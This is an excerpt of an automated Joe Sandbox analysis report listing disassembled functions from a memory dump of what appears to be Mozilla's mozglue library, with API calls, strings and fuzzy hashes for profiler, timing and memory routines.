Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C91E084,00000000), ref: 6C91E137

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C91E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C91E1E9

Part of subcall function 6C9199A0: GetCurrentThreadId.KERNEL32 ref: 6C9199C1
Part of subcall function 6C9199A0: AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C9199CE
Part of subcall function 6C9199A0: ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C9199F8

Strings

KpT{/, xrefs: 6C91E116
[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C91E13F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: KpT{/$[I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-124710632
Opcode ID: 56c1d2e6c131dbd698508f03845eec5895328c68ae061a2bd7061c0fcc35c129
Instruction ID: 9b702227596d8c35afba7cabe5c02034b3ccf5e2808976602a054a58d09fb248
Opcode Fuzzy Hash: 56c1d2e6c131dbd698508f03845eec5895328c68ae061a2bd7061c0fcc35c129
Instruction Fuzzy Hash: FE3107B6A083049FC700DF68C4553AAF7E5AFDA61CF54892DE8494BF81DB70C909C792

Function 6C8EC150 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8EC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8EC1DC

Strings

KpT{/, xrefs: 6C8EC15F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID: KpT{/
API String ID: 1885715127-2391877073
Opcode ID: 50b3b21ce7a4d2d9673d6cf0946da4ac5efd64df4de705769a21e64f3ee30f7c
Instruction ID: 469fd54d236434b84dd3187ea8f1025fc822a2b35a8cc5f7b312526ed270dc39
Opcode Fuzzy Hash: 50b3b21ce7a4d2d9673d6cf0946da4ac5efd64df4de705769a21e64f3ee30f7c
Instruction Fuzzy Hash: AB41C4B1D08744CFD720DF68C58079ABBF4AF9A708F51896DE8985B712E730D548CB92

Function 6C90F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C90F480

Part of subcall function 6C8DF100: LoadLibraryW.KERNEL32(shell32,?,6C94D020), ref: 6C8DF122
Part of subcall function 6C8DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8DF132

CloseHandle.KERNEL32(00000000), ref: 6C90F555

Part of subcall function 6C8E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C8E1248,6C8E1248,?), ref: 6C8E14C9
Part of subcall function 6C8E14B0: memcpy.VCRUNTIME140(?,6C8E1248,00000000,?,6C8E1248,?), ref: 6C8E14EF

Part of subcall function 6C8DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C8DEEE3

CreateFileW.KERNEL32 ref: 6C90F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C90F523

Strings

KpT{/, xrefs: 6C90F44E
\oleacc.dll, xrefs: 6C90F4CB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: KpT{/$\oleacc.dll
API String ID: 2595878907-1603669396
Opcode ID: 52a24e68259f917f924da356fafb15b8fe737f2cd9e4a25919fa865fda4b8760
Instruction ID: d0e3c2eec04a7062d55762a53a5bd74d90e27b9c7b5709795037e47940dc9bbc
Opcode Fuzzy Hash: 52a24e68259f917f924da356fafb15b8fe737f2cd9e4a25919fa865fda4b8760
Instruction Fuzzy Hash: CA41A4307087109FE721DF69D984AABB7F4AF8531CF504A1CF59193650EB30EA49CB96

Function 6C93AD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C94E330,?,6C8FC059), ref: 6C93AD9D

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C94E330,?,6C8FC059), ref: 6C93ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C94E330,?,6C8FC059), ref: 6C93AE01
GetLastError.KERNEL32(?,00000000,?,?,6C94E330,?,6C8FC059), ref: 6C93AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C94E330,?,6C8FC059), ref: 6C93AE3D

Strings

KpT{/, xrefs: 6C93AD7D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID: KpT{/
API String ID: 3161513745-2391877073
Opcode ID: 1c6e43ecd2f42ea0f930eda3d39b302cd7c4066dfa1a251d38aaf52441680bac
Instruction ID: 3ff78a1621257ba27695f58174059b74b3ccd5df2b789e126cfee858ef4831ca
Opcode Fuzzy Hash: 1c6e43ecd2f42ea0f930eda3d39b302cd7c4066dfa1a251d38aaf52441680bac
Instruction Fuzzy Hash: 7D3173B1A003159FDB10DF798C44AABBBF8EF59614F55882DE85AD7740EB34D804CBA0

Function 6C930B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C930BBC

Part of subcall function 6C8F5C50: GetTickCount64.KERNEL32 ref: 6C8F5D40
Part of subcall function 6C8F5C50: EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F5D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C930BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C930BD5

Part of subcall function 6C8F5C50: __aulldiv.LIBCMT ref: 6C8F5DB4
Part of subcall function 6C8F5C50: LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8F5DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C930BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C930C9A

Strings

KpT{/, xrefs: 6C930B9E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID: KpT{/
API String ID: 3168180809-2391877073
Opcode ID: 5817a04ca0e3dab58b75c3ef09688ed90e463ef0991abc03f3e8113862532969
Instruction ID: 4431c27262abf5d4a0822d65e7d805e46423d39977f1cd03ffd3d2113307721b
Opcode Fuzzy Hash: 5817a04ca0e3dab58b75c3ef09688ed90e463ef0991abc03f3e8113862532969
Instruction Fuzzy Hash: E631E471A047548AC714DF3CC89011BB7E8AF827A4F219B1EF8A9A36D0DB70D8458B92

Function 6C93AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C95E220,?), ref: 6C93BC2D
ReleaseSRWLockExclusive.KERNEL32(6C95E220), ref: 6C93BC42
RtlFreeHeap.NTDLL(?,00000000,6C94E300), ref: 6C93BC82
RtlFreeUnicodeString.NTDLL(6C95E210), ref: 6C93BC91
RtlFreeUnicodeString.NTDLL(6C95E208), ref: 6C93BCA3
RtlFreeHeap.NTDLL(?,00000000,6C95E21C), ref: 6C93BCD2
free.MOZGLUE(?), ref: 6C93BCD8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 0d621ca5424100b5ff389b40a061d3f6a446a1a7707ceeb9fa6d0d692f6e2c05
Instruction ID: bb091ec5acf0c316399c6ff235fd5d669dabdece7a64708a17cc9dc71b788579
Opcode Fuzzy Hash: 0d621ca5424100b5ff389b40a061d3f6a446a1a7707ceeb9fa6d0d692f6e2c05
Instruction Fuzzy Hash: 1121C172600B24CFE7209F4AC880B66B7B9FF95718F548469E81D9BA10CB76E845CBD1

Function 6C8E38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C95E220,?,?,?,?,6C8E3899,?), ref: 6C8E38B2
ReleaseSRWLockExclusive.KERNEL32(6C95E220,?,?,?,6C8E3899,?), ref: 6C8E38C3
free.MOZGLUE(00000000,?,?,?,6C8E3899,?), ref: 6C8E38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8E3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C8E3899,?), ref: 6C8E392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C8E3899,?), ref: 6C8E3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6C8E396E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 82444264c05af7155d719d1d3177c862dd9343b962e7a0514d6272f978150269
Instruction ID: 7fa7e9fefe5f2336374f13981f2a1d4f0ca9dcc4687415e29c6243157098faf0
Opcode Fuzzy Hash: 82444264c05af7155d719d1d3177c862dd9343b962e7a0514d6272f978150269
Instruction Fuzzy Hash: 9B212472600724DFD720EF25C980B96B7B9EF5A328F258829D95A97B20C731FC45CB90

Function 6C9184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C91850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C91851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C91855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C91856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9185AC

Part of subcall function 6C917670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C91767F
Part of subcall function 6C917670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C917693
Part of subcall function 6C917670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9185B2

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 67850f454e5c88ab904de3ee1eb4cfd408b1110cfdc5c67667e56e68d2723f61
Instruction ID: 8aad8020c3c0e4e2d432c584d2a2d10f9900a1fdcdcbeca95a8b90dfe4ff6cab
Opcode Fuzzy Hash: 67850f454e5c88ab904de3ee1eb4cfd408b1110cfdc5c67667e56e68d2723f61
Instruction Fuzzy Hash: CA219F742086059FDB18DF29C889A6AB7B9EF4430CF25482DE59B83B41DB31F948CB55

Function 6C8DB7A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C8DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C8DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C8DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8DB849

Strings

KpT{/, xrefs: 6C8DB7AC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID: KpT{/
API String ID: 1977084945-2391877073
Opcode ID: cc16851ccbb14a77bd0f3e82fc1885bd549ea7c577dc47f1c37c4bbe282dbc4d
Instruction ID: 851f3c4205be16952a466b883550b9ada127be6ed22208147eb324966847868f
Opcode Fuzzy Hash: cc16851ccbb14a77bd0f3e82fc1885bd549ea7c577dc47f1c37c4bbe282dbc4d
Instruction Fuzzy Hash: CC216BB0E002199FDF14DFA9C9856FEBBB4EF49358F148529EC15A7301E731A984CBA0

Function 6C91E020 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91E04F

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91E0B0

Strings

KpT{/, xrefs: 6C91E02F
[I %d/%d] profiler_get_profile, xrefs: 6C91E057

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: KpT{/$[I %d/%d] profiler_get_profile
API String ID: 1832963901-736984617
Opcode ID: fbe052060e2cdf361848534a72f20dd369a7b703c4fa6214d01df0b625b98379
Instruction ID: 102cae1392176f65baf872589a1708a6b23d2943f6e3d673f9e25edd062ef4fc
Opcode Fuzzy Hash: fbe052060e2cdf361848534a72f20dd369a7b703c4fa6214d01df0b625b98379
Instruction Fuzzy Hash: 4421B074B081188FDF04DF64D859AAEB7B9AFA9208F640418EC0A97B40DB31E909C7E1

Function 6C936E50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C936E78

Part of subcall function 6C936A10: InitializeCriticalSection.KERNEL32(6C95F618), ref: 6C936A68
Part of subcall function 6C936A10: GetCurrentProcess.KERNEL32 ref: 6C936A7D
Part of subcall function 6C936A10: GetCurrentProcess.KERNEL32 ref: 6C936AA1
Part of subcall function 6C936A10: EnterCriticalSection.KERNEL32(6C95F618), ref: 6C936AAE
Part of subcall function 6C936A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C936AE1
Part of subcall function 6C936A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C936B15
Part of subcall function 6C936A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C936B65
Part of subcall function 6C936A10: LeaveCriticalSection.KERNEL32(6C95F618,?,?), ref: 6C936B83

MozFormatCodeAddress.MOZGLUE ref: 6C936EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C936EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C936EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C936EFF

Strings

KpT{/, xrefs: 6C936E5F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID: KpT{/
API String ID: 4058739482-2391877073
Opcode ID: c2e3dc39a6b05bec0cc0cceaed016b677c26ad157d3614f3573f6e98d3c8b4d4
Instruction ID: cc2bb62513bda9385165d693acb37060a0c7823145cdf24b31b90a7d740b4b19
Opcode Fuzzy Hash: c2e3dc39a6b05bec0cc0cceaed016b677c26ad157d3614f3573f6e98d3c8b4d4
Instruction Fuzzy Hash: 7421C171A0821A8FCB00CF29D88469E77F8FF88308F044039E80D97240EB719A58CF92

Function 6C8E6390 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8E63D0
AcquireSRWLockExclusive.KERNEL32 ref: 6C8E63DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6C8E640E
__Init_thread_footer.LIBCMT ref: 6C8E6467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C8E64A8

Strings

KpT{/, xrefs: 6C8E639C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID: KpT{/
API String ID: 3202982786-2391877073
Opcode ID: 7c7d0af6c16380f81d20e1f56131bd61e7ef33b3ec7fb76fb2f20050e29ca8ba
Instruction ID: e32c88ecf13ece78c6f800093b3f4ef0de7c54a803972a404b97265f22b3d7ae
Opcode Fuzzy Hash: 7c7d0af6c16380f81d20e1f56131bd61e7ef33b3ec7fb76fb2f20050e29ca8ba
Instruction Fuzzy Hash: 88317CB16083458FDB10DF68D14966BBBF0FB9A32CFA1491DD99583B40C7309488CBA7

Function 6C91F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C91F598), ref: 6C91F621

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

